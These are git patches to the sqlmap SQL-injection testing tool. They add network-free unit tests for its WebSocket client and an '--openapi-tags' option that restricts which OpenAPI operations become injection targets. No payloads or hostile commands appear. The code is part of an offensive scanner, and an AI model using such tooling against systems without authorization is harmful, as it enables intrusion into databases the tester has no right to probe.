"'tkinter' library is found" diff --git a/tests/test_websocket.py b/tests/test_websocket.py new file mode 100644 index 000000000..6091229a6 --- /dev/null +++ b/tests/test_websocket.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native WebSocket client in +lib/request/websocket.py: the RFC 6455 accept-key computation, client frame masking, +the length-encoding boundaries (7/16/64-bit), fragment reassembly and control-frame +handling. No socket is opened - frames are fed through a primed buffer and a fake sink. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import base64 +import hashlib +import os +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.websocket import ( + WebSocket, + WebSocketConnectionClosedException, + WebSocketTimeoutException, + _GUID, + OPCODE_TEXT, + OPCODE_CONTINUATION, + OPCODE_PING, + OPCODE_CLOSE, +) + + +class _FakeSock(object): + """Captures everything the client sends, so masked client frames / PONGs can be inspected.""" + def __init__(self): + self.sent = b"" + + def sendall(self, data): + self.sent += data + + def close(self): + pass + + +def _serverFrame(data, opcode=OPCODE_TEXT, fin=1): + """Build an (unmasked, server->client) frame carrying data.""" + if not isinstance(data, bytes): + data = data.encode("utf-8") + frame = bytearray([(fin << 7) | opcode]) + length = len(data) + if length < 126: + frame.append(length) + elif length < 65536: + frame.append(126); frame += struct.pack("!H", length) + else: + frame.append(127); frame += struct.pack("!Q", length) + frame += data + return bytes(frame) + + +def _client(buffer=b""): + ws = WebSocket.__new__(WebSocket) # bypass connect(): no socket + ws.sock = _FakeSock() + ws.status = 101 + ws._headers = {} + ws._timeout = None + ws._buffer = buffer + ws._closed = False + return ws + + +class TestWebSocket(unittest.TestCase): + def test_accept_key_rfc6455_vector(self): + # RFC 6455 section 1.3 canonical example + key = "dGhlIHNhbXBsZSBub25jZQ==" + accept = base64.b64encode(hashlib.sha1((key + _GUID).encode("ascii")).digest()).decode("ascii") + self.assertEqual(accept, "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=") + + def test_client_frame_is_masked_and_roundtrips(self): + ws = _client() + ws._sendFrame(b"hello", OPCODE_TEXT) + raw = ws.sock.sent + self.assertEqual(bytearray(raw)[0], 0x80 | OPCODE_TEXT) # FIN + text + self.assertTrue(bytearray(raw)[1] & 0x80, "client frame must set the mask bit") + + # feeding the client's own (masked) frame back through the parser must recover the payload + fin, opcode, payload = _client(raw)._recvFrame() + self.assertEqual((fin, opcode, bytes(payload)), (1, OPCODE_TEXT, b"hello")) + + def test_length_encoding_boundaries(self): + for size in (125, 126, 65535, 65536): + ws = _client() + ws._sendFrame(b"A" * size, OPCODE_TEXT) + fin, opcode, payload = _client(ws.sock.sent)._recvFrame() + self.assertEqual(len(payload), size, msg="round-trip failed at length %d" % size) + + def test_recv_reassembles_fragments(self): + buf = _serverFrame("ab", OPCODE_TEXT, fin=0) + _serverFrame("cd", OPCODE_CONTINUATION, fin=1) + self.assertEqual(_client(buf).recv(), "abcd") + + def test_recv_answers_ping_then_returns_data(self): + ws = _client(_serverFrame("hi", OPCODE_PING) + _serverFrame("data", OPCODE_TEXT)) + self.assertEqual(ws.recv(), "data") + # a PONG (opcode 0xA) carrying the ping payload must have been sent back + pong = bytearray(ws.sock.sent) + self.assertEqual(pong[0], 0x80 | 0xA) + + def test_recv_close_raises(self): + ws = _client(_serverFrame(struct.pack("!H", 1000), OPCODE_CLOSE)) + self.assertRaises(WebSocketConnectionClosedException, ws.recv) + + def test_read_timeout_maps_to_ws_timeout(self): + import socket as _socket + import ssl as _ssl + + class _RaisingSock(object): + def __init__(self, exc): + self.exc = exc + def recv(self, n): + raise self.exc + + # both a plain socket timeout and Python 2's TLS 'read operation timed out' must surface as + # WebSocketTimeoutException (sqlmap's frame loop relies on it), while other SSL errors propagate + for exc in (_socket.timeout("timed out"), _ssl.SSLError("The read operation timed out")): + ws = _client(); ws.sock = _RaisingSock(exc) + self.assertRaises(WebSocketTimeoutException, ws.recv) + + ws = _client(); ws.sock = _RaisingSock(_ssl.SSLError("decryption failed")) + self.assertRaises(_ssl.SSLError, ws.recv) + + +if __name__ == "__main__": + unittest.main() From 622cfa76c6837cd2bbf2a3da8f0c04408a022d47 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 14:13:21 +0200 Subject: [PATCH 165/165] Adding --openapi-tags --- lib/core/option.py | 7 ++++++- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/parse/openapi.py | 9 +++++++-- tests/test_openapi.py | 19 +++++++++++++++++++ 6 files changed, 37 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index ad80c4a52..d61134aa5 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -521,8 +521,13 @@ def _setOpenApiTargets(): logger.info(infoMsg) content = openFile(conf.openApiFile).read() + tags = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.openApiTags) if _.strip()] if conf.openApiTags else None + if tags: + infoMsg = "restricting extraction to OpenAPI/Swagger operations tagged: %s" % ", ".join(tags) + logger.info(infoMsg) + try: - targets = openApiTargets(content, origin) + targets = openApiTargets(content, origin, tags) except ValueError as ex: errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 3e7fa93c4..f51325e48 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -21,6 +21,7 @@ optDict = { "configFile": "string", "openApiFile": "string", "openApiBase": "string", + "openApiTags": "string", }, "Request": { diff --git a/lib/core/settings.py b/lib/core/settings.py index 1b227713b..7cc1507aa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.57" +VERSION = "1.10.7.58" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 817e12f6a..f603961bc 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -150,6 +150,9 @@ def cmdLineParser(argv=None): target.add_argument("--openapi-base", dest="openApiBase", help="Base URL for a host-less OpenAPI/Swagger spec") + target.add_argument("--openapi-tags", dest="openApiTags", + help="Only derive targets from operations with these tag(s)") + # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") diff --git a/lib/parse/openapi.py b/lib/parse/openapi.py index 996b5ece6..05054208c 100644 --- a/lib/parse/openapi.py +++ b/lib/parse/openapi.py @@ -206,15 +206,18 @@ def _baseUrl(spec, origin=None, servers=None): _METHODS = ("get", "post", "put", "delete", "patch", "options", "head") -def openApiTargets(content, origin=None): +def openApiTargets(content, origin=None, tags=None): """ Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin' (scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers' entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry - the custom injection mark so they become testable injection points. + the custom injection mark so they become testable injection points. 'tags' (list) restricts extraction + to operations declaring at least one of those OpenAPI tags (to scope a scan of a large API). """ + tagSet = set(tags) if tags else None + spec = _loadSpec(content) if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"): errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification" @@ -236,6 +239,8 @@ def openApiTargets(content, origin=None): for method, operation in item.items(): if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool) continue + if tagSet is not None and not (tagSet & set(_ for _ in (operation.get("tags") or []) if isinstance(_, six.string_types))): + continue # '--openapi-tags' filter: operation carries none of the requested tags try: # effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root opServers = operation.get("servers") or item.get("servers") diff --git a/tests/test_openapi.py b/tests/test_openapi.py index 40c8cd930..f5ed80b46 100644 --- a/tests/test_openapi.py +++ b/tests/test_openapi.py @@ -134,6 +134,25 @@ class TestOpenApi(unittest.TestCase): self.assertEqual(headers["X-Api"], "k" + MARK) self.assertEqual(headers["Cookie"], "sess=v" + MARK) + def test_tag_filter_restricts_operations(self): + # '--openapi-tags' keeps only operations declaring at least one requested tag; untagged + # operations are dropped when a filter is active + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.test"}], "paths": { + "/users/{id}": {"get": {"tags": ["users"], "parameters": [{"name": "id", "in": "path", "schema": {"type": "integer"}}]}}, + "/admin": {"post": {"tags": ["admin"], "parameters": [{"name": "q", "in": "query", "schema": {"type": "string"}}]}}, + "/ping": {"get": {"parameters": [{"name": "x", "in": "query", "schema": {"type": "string"}}]}}}} + content = json.dumps(spec) + + self.assertEqual(len(openApiTargets(content)), 3) # no filter -> everything + self.assertEqual(len(openApiTargets(content, tags=["nope"])), 0) # no match -> nothing (incl. untagged) + + users = openApiTargets(content, tags=["users"]) + self.assertEqual(len(users), 1) + self.assertIn("/users/", users[0][0]) + + both = openApiTargets(content, tags=["users", "admin"]) # union of tags + self.assertEqual(sorted(_[1] for _ in both), ["GET", "POST"]) + # --- graceful degradation: a broken/poorly-defined spec must never crash the parser --- def test_malformed_raises_valueerror(self):